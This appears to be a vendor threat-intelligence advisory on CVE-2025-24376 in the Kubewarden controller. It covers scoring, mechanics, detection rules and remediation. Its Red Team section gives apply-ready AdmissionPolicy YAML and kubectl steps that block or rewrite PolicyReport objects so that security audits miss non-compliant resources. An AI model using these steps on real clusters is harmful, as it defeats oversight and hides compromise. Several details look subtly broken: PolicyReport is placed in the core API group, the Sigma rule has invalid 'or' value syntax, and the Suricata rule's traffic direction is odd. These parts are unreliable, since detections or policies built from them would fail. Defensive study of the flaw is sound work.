CVE-2025-24376

Executive Summary

CVE-2025-24376 is a vulnerability in the Kubewarden controller for Kubernetes, affecting versions prior to 1.21.0. The flaw allows an attacker with permissions to create or update AdmissionPolicy or AdmissionPolicyGroup resources to bypass intended restrictions and target sensitive namespaced resources, specifically PolicyReport objects. By preventing the creation or update of PolicyReport objects, an attacker can hide non-compliant resources from security audits. Additionally, a mutating AdmissionPolicy could be used to alter the contents of PolicyReport objects, further obscuring malicious activity. The vulnerability has a CVSS score of 6.5 (Medium) and is classified under CWE-863 (Incorrect Authorization). The patch tightens validation rules to prevent policies from validating sensitive resource types.

Supply Chain & Package Security

This vulnerability affects the Kubewarden controller, which is distributed as a container image and deployed in Kubernetes clusters. The controller is part of the Kubewarden ecosystem, an open-source policy engine for Kubernetes. Organizations using Kubewarden should verify the integrity of their controller images and ensure they are sourced from trusted registries. The patch is available in version 1.21.0, and users should upgrade immediately to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker needs low-level privileges (e.g., ability to create/update AdmissionPolicy resources).
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the impacted component.
• Confidentiality Impact (C): None (N) – No direct data exposure.
• Integrity Impact (I): Low (L) – An attacker can alter PolicyReport contents, but only within the namespace.
• Availability Impact (A): High (H) – An attacker can prevent the creation/update of PolicyReport objects, effectively disabling audit visibility.

Threat Level: Medium. The vulnerability requires low privileges and can significantly impact audit and compliance capabilities, but does not allow direct data theft or system compromise.

Deep Dive & Mechanics

Kubewarden is a policy engine for Kubernetes that uses WebAssembly (Wasm) policies. The kubewarden-controller manages AdmissionPolicy and AdmissionPolicyGroup custom resources, which define policies that evaluate admission requests. By design, these policies should only evaluate namespaced resources, but the rules provided by users determine which resources are evaluated.

The vulnerability lies in the lack of restrictions on which namespaced resources can be targeted. PolicyReport objects are namespaced resources that contain audit results, listing non-compliant resources. An attacker with permissions to create or update AdmissionPolicy or AdmissionPolicyGroup can craft a policy that targets PolicyReport objects. This can be used to:

1. Prevent creation/update of PolicyReport objects: By using a validating policy that rejects requests to create or update PolicyReport objects, an attacker can hide non-compliant resources from security audits.
2. Alter PolicyReport contents: By using a mutating policy, an attacker can modify the contents of PolicyReport objects, for example, removing entries that indicate non-compliance.

The patch in version 1.21.0 adds validation rules that prevent AdmissionPolicy and AdmissionPolicyGroup from validating sensitive resource types, including PolicyReport. This ensures that policies cannot interfere with audit mechanisms.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.21.0): The controller does not validate the rules field of AdmissionPolicy or AdmissionPolicyGroup to prevent targeting sensitive resources like PolicyReport. An attacker can specify rules that match PolicyReport objects.

apiVersion: policies.kubewarden.io/v1
kind: AdmissionPolicy
metadata:
  name: block-policyreport
  namespace: default
spec:
  module: registry://ghcr.io/kubewarden/policies/deny-all:v1.0.0
  rules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["policyreports"]
      operations: ["CREATE", "UPDATE"]
  mutating: false

Patched Code (>=1.21.0): The controller now includes a validation webhook that checks the rules field and rejects policies that target sensitive resources like PolicyReport.

# Example of a rejected policy in patched version
apiVersion: policies.kubewarden.io/v1
kind: AdmissionPolicy
metadata:
  name: block-policyreport
  namespace: default
spec:
  module: registry://ghcr.io/kubewarden/policies/deny-all:v1.0.0
  rules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["policyreports"]
      operations: ["CREATE", "UPDATE"]
  mutating: false
# This will be rejected by the validation webhook with an error like:
# "AdmissionPolicy cannot target sensitive resource: policyreports"

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Kubernetes cluster with Kubewarden controller < 1.21.0 installed.
• Permissions to create or update AdmissionPolicy or AdmissionPolicyGroup resources (e.g., cluster-admin or custom role with policies.kubewarden.io access).

Exploitation Steps:

1. Identify the target namespace where PolicyReport objects are created (e.g., kube-system or a namespace with security tooling).
2. Create a validating AdmissionPolicy that blocks creation/update of PolicyReport objects:

apiVersion: policies.kubewarden.io/v1
kind: AdmissionPolicy
metadata:
  name: hide-noncompliant
  namespace: default
spec:
  module: registry://ghcr.io/kubewarden/policies/deny-all:v1.0.0
  rules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["policyreports"]
      operations: ["CREATE", "UPDATE"]
  mutating: false

3. Apply the policy:

kubectl apply -f hide-noncompliant.yaml

4. Verify that PolicyReport objects cannot be created or updated in the target namespace. Any security tooling that relies on PolicyReport will be blinded.

5. Optionally, create a mutating AdmissionPolicy to alter existing PolicyReport objects:

apiVersion: policies.kubewarden.io/v1
kind: AdmissionPolicy
metadata:
  name: alter-policyreport
  namespace: default
spec:
  module: registry://ghcr.io/kubewarden/policies/mutate-policyreport:v1.0.0
  rules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["policyreports"]
      operations: ["UPDATE"]
  mutating: true
  settings:
    removeNonCompliant: true

Blue Team

Detection:

• Monitor for creation of AdmissionPolicy or AdmissionPolicyGroup resources that target PolicyReport objects.
• Alert on any policy that uses resources: ["policyreports"] in its rules.
• Review audit logs for denied PolicyReport creation/update attempts.

Mitigation:

• Upgrade Kubewarden controller to version 1.21.0 or later.
• Implement Kubernetes admission controllers (e.g., OPA Gatekeeper) to restrict which users can create AdmissionPolicy resources.
• Monitor PolicyReport objects for unexpected changes or absence.

Lab Setup:

• Deploy a vulnerable Kubewarden controller (version < 1.21.0) in a test cluster.
• Install a security tool that creates PolicyReport objects (e.g., Kyverno or Polaris).
• Execute the Red Team steps to observe the impact.
• Upgrade to 1.21.0 and verify that the policy creation is blocked.

Indicators of Compromise (IOCs)

• Kubernetes Audit Logs:

  • Creation of AdmissionPolicy or AdmissionPolicyGroup with resources: ["policyreports"].
  • Denied CREATE or UPDATE requests for PolicyReport objects (if a blocking policy is in place).
  • Unexpected modifications to PolicyReport objects (if a mutating policy is used).

• Network Indicators:

  • Unusual API calls to the Kubernetes API server targeting policyreports resources.

• File/Process Indicators:

  • No specific file or process IOCs, as this is a Kubernetes-level vulnerability.

Detection Engineering

YARA Rule

rule Detect_Kubewarden_PolicyReport_Abuse {
    meta:
        description = "Detects AdmissionPolicy or AdmissionPolicyGroup targeting PolicyReport resources"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24376"
    strings:
        $policy_kind = /kind:\s*(AdmissionPolicy|AdmissionPolicyGroup)/ nocase
        $resource_policyreport = /resources:\s*\[.*"policyreports".*\]/ nocase
    condition:
        $policy_kind and $resource_policyreport
}

Sigma Rule

title: Kubewarden Policy Targeting PolicyReport Resources
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation or update of AdmissionPolicy/AdmissionPolicyGroup that targets PolicyReport resources, indicating potential CVE-2025-24376 exploitation.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24376
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        objectRef.resource: "admissionpolicies" or "admissionpolicygroups"
        verb: "create" or "update"
        requestObject|contains: "policyreports"
    condition: selection
falsepositives:
    - Legitimate use of policies to audit PolicyReport objects (rare)
level: high
tags:
    - attack.t1562.001
    - cve.2025.24376

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24376 Kubewarden PolicyReport Abuse Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/apis/policies.kubewarden.io/v1/namespaces/"; http_uri; content:"admissionpolicies"; http_uri; content:"policyreports"; within:100; reference:cve,2025-24376; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade kubewarden-controller to version 1.21.0 or later. This is the only complete fix.
2. Workaround: If upgrade is not immediately possible, implement a Kubernetes admission controller (e.g., OPA Gatekeeper) to deny creation of AdmissionPolicy or AdmissionPolicyGroup resources that target PolicyReport objects.
3. Access Control: Restrict permissions to create or update AdmissionPolicy and AdmissionPolicyGroup resources to only trusted administrators.
4. Monitoring: Enable Kubernetes audit logging and monitor for suspicious policy creation as described in the Detection Engineering section.
5. Validation: After patching, verify that policies targeting PolicyReport are rejected by attempting to create one.

Valters IT
DevSecOps & Cyber Threat Intelligence